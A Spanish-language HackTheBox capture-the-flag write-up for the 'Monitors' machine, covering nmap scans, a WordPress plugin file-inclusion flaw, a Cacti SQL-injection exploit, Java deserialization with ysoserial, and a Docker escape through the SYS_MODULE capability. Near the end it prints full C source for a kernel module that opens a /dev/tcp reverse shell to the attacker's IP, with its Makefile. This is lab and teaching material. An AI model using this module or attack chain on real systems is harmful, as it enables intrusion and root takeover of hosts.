Monitors - HackTheBox

Comence con escaneo de Nmap para detectar puertos abiertos.

┌──(root💀kali)-[/home/…/HTB/Monitors/machine/nmap]
└─# nmap -sS --min-rate=5000 -vvv -n -Pn --open 10.10.10.238 -o targeted.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Warning: The -o option is deprecated. Please use -oN
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-10 11:33 EDT
Initiating SYN Stealth Scan at 11:33
Scanning 10.10.10.238 [1000 ports]
Discovered open port 80/tcp on 10.10.10.238
Discovered open port 22/tcp on 10.10.10.238
Completed SYN Stealth Scan at 11:33, 0.24s elapsed (1000 total ports)
Nmap scan report for 10.10.10.238
Host is up, received user-set (0.045s latency).
Scanned at 2021-10-10 11:33:47 EDT for 0s
Not shown: 998 closed ports
Reason: 998 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh 	syn-ack ttl 63
80/tcp open  http	syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
       	Raw packets sent: 1000 (44.000KB) | Rcvd: 1000 (40.008KB)

Hice otro escaneo con Nmap para detectar la version de cada puerto y servicio abierto.

┌──(root💀kali)-[/home/…/HTB/Monitors/machine/nmap]
└─# nmap -sCV -p22,80 10.10.10.238 -o webScan.txt                                                                                       	130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-10 11:35 EDT
Nmap scan report for 10.10.10.238
Host is up (0.045s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh 	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http	Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds

Tan solo tenia dos puertos abiertos el servidor, comence enumerando el servidor web, esto es lo que tenia.

https://imgur.com/gleTbyw.png

Parece que se estaba aplicando virtual hosting, almacenar distintos dominios en una misma IP, para ello abri el /etc/hosts e inclui el dominio monitors.htb.

https://imgur.com/uipe3ri.png

Ahora si me reporto lo que tenia realmente.

https://imgur.com/8wWXphm.png

Le hice un whatweb para ver si corria algun CMS.

┌──(root💀kali)-[/home/…/HTB/Monitors/machine/nmap]
└─# whatweb http://monitors.htb/                                                   	 
http://monitors.htb/ [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.238], JQuery, MetaGenerator[WordPress 5.5.1], Script[text/javascript], Title[Welcome to Monitor – Taking hardware monitoring seriously], UncommonHeaders[link], WordPress[5.5.1]

Al parecer era un servidor web con Wordpress instalado, enumerando un poco la web encontre que tenia directory listing de los plugins, encontré uno llamado wp-with-spritz.

https://imgur.com/AgMIHZ0.png

Busque en internet si habia algun exploit relacionado con el plugin.

https://imgur.com/RBKDaS5.png

Encontré unos cuantos, me decante por el que estaba publicado en exploit.db.

https://imgur.com/GCEmKDt.png

Viendolo vi que el servidor web era vulnerable a Local File Inclusion, es decir que podia ver archivos locales de la maquina, probe a enumerar el /etc/hosts para confirmar la vulnerablidad.

https://imgur.com/5EuTLGD.png

Efectivamente, podia enumerar archivos, en este caso probe a enumerar el archivo de configuracion de WordPress con curl, estos suelen tener credenciales harcodeadas, tras unos cuantos intentos tratando de dar con la ruta lo encontré.

https://imgur.com/c6a0jRF.png

Algo que me llamo la atencion es que no interpretaba el codigo PHP por lo que no tuve que hacer uso de un “wrapper”.

https://imgur.com/2RGpKpo.png

Ahora bien, probe estas credenciales en el panel de inicio de sesion de WordPress pero no hubo suerte.

https://imgur.com/A51K99w.png

Aprovechando la vulnerablidad LFI probe a enumerar el archivo 000-default.conf este archivo podia tener informacion sobre dominios o subdominios que podrian estar operativos en el sistema.

https://imgur.com/c6a0jRF.png

Y si, encontré cacti.monitors.htb, lo inclui en el /etc/hosts y accedi a la web, me reporto un panel de inicio de sesion.

https://imgur.com/zyVFcWE.png

Inmediatamente probe las credenciales que habia conseguido en la enumeracion del archivo de configuracion de WordPress.

https://imgur.com/PkEkPML.png

Y me autentico.

https://imgur.com/CDcopSP.png

Ya que sabia la version decidi buscar exploit de este panel y encontré uno que tenia que estar autenticado.

https://imgur.com/YyyEGtR.png

Examinandolo un poco vi que se aprovechaba de una consulta maliciosa SQL para explotar la vulnerabidad, para ganar acceso hace uso de un Shell inverso con mkfifo.

https://imgur.com/wiX1Rvr.png

Ejecute el “exploit” haciendo uso de las credenciales de inicio de sesion en el panel, mi IP, el puerto y gane acceso a la maquina.

https://imgur.com/DsIengg.png

Hice un tratamiento de la TTY y enumere usuarios, encontré markus operativo en el sistema.

https://imgur.com/hDZXMFI.png

Ya que no tenia capacidad de ver la “flag” del usuario enumere un poco la maquina y encontre un archivo que me llamo la atencion llamado cacti-backup.service, al verlo encontre una ruta que estaba en el directorio de markus, yendo a este directorio vi que habia una carpeta llamada .backup que estaba oculta.

https://imgur.com/h65jw3V.png

Mirando el archivo llamado backup.sh encontre credenciales en texto claro.

https://imgur.com/K9IPqJs.png

Probe a usarlas para pivotear al usuario markus y funciono.

https://imgur.com/ZZUd7un.png

Ahora ya pude visualizar la “flag” del usuario.

VYcjmdD

En el directorio principal de markus tambien habia un archivo llamado note.txt, al verlo encontre encontre lo siguiente.

https://imgur.com/EupX3rZ.png

Ponia que deshabilito phpinfo en php.ini pero no actualizo una imagen de Docker, esto me llamo la atencion, pense en que mas adelante podria aprovechar esta informacion para algo, de momento decidi seguir investigando un poco mas la maquina, enumerando permisos SUID no encontré nada interesante.

https://imgur.com/5rzyhO2.png

La maquina tambien tenia conectividad por SSH con las credenciales encontradas anteriormente, me quede con esta Shell.

https://imgur.com/9PPj1ah.png

Enumerando un poco mas encontre un servidor web en la maquina corriendo por el puerto 8443.

GJcJ7u7

Esto me llamo mucho la atencion por lo que decidi ver lo que tenia, para ello tuve que hacer un port forwarding para tener el puerto abierto en mi localhost, como la maquina tenia SSH lo hice con ello.

https://imgur.com/Qh2lrZM.png

Y me encontre lo siguiente en el servidor web.

https://imgur.com/1l26Keu.png

Hice fuzzing con gobuster y encontré distintas directorios.

https://imgur.com/T1VS0uE.png

Al acceder a manufakturing me hizo un “redirect” a un panel de “login”.

https://imgur.com/YzPEcwm.png

Podia ver la version que se estaba empleando.

https://imgur.com/aFPSFBd.png

Decidi hacer una busqueda de exploits por internet.

https://imgur.com/FGS1Ybf.png

Encontre que era a un vulnerable a deserializacion insegura de Java, un “ysoserial” en toda regla.

Captura de pantalla (13)

Para verificar si era vulnearble el servidor a este ataque accedí a la siguiente ruta /webtools/corol/xmlrpc, encontre que si existia.

https://imgur.com/c6ikmko.png

Lo que hice para explotar esta vulnearbilidad es seguir los pasos del “exploit” de manera manual.

Primeramente me descargue el ysoserial en mi maquina y cree un archivo en bash llamado shell.sh con un Shell inverso, cree la carga util que me iba a permitir descargar el archivo shell.sh y exportarlo a una ruta con capacidad de escritura.

https://imgur.com/RmqR7so.png

Abrí un servidor web con Python alojando shell.sh y envie una peticion por POST con la carga util creada anteriormente con el ysoserial.

https://imgur.com/J8xMYLD.png

Recibi una peticion GET en mi servidor, esto era buena señal, cree una carga util mas haciendo que me ejecute shell.sh para recibir un Shell inverso, puse el puerto 443 en escucha con netcat e hice otra peticion POST con la nueva carga util.

https://imgur.com/fP0neKf.png

Recibi otra vez una peticion GET a mi servidor.

https://imgur.com/P2b7v8a.png

Y gane acceso al sistema por netcat.

https://imgur.com/NJ8KfPa.png

Viendo mi IP encontré que estaba en un contenedor Docker.

https://imgur.com/YQ8na73.png

Recondando la nota de antes, decia: “update docker image for production use”, esta tarea la reportada como “no hecha”, pense en que podria ser una pista de algo, enumerando bien la maquina encontre una “capability” de docker de la cual me podia aprovechar de ella.

https://imgur.com/9P9pfm5.png

SYS_MODULE, decidi buscar informacion sobre una posible escalada de privilegios.

https://imgur.com/z0rHr51.png

Para aprovecharme de dicha “capability” la idea era crearse un modulo de kernel malicioso, para ello lo primero era crear un programa para invocar el Shell inverso, lo hice con el siguiente codigo hecho en c y lo llame reverse-shell.c.

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.32/443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Seguidamente hay que crear un MakeFile para compilar el modulo de kernel, para ello hice uso del siguiente codigo.

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Ahora solamente compile el modulo de kernel con make en la maquina victima, me puse en escucha con nc por el puerto 443 y le hice un insmod al archivo reverse-shell.ko exportado por la compilacion, y ya gane acceso al sistema desde nc, ya pude visualizar la “flag” de root.

IC13bpe

Leave a comment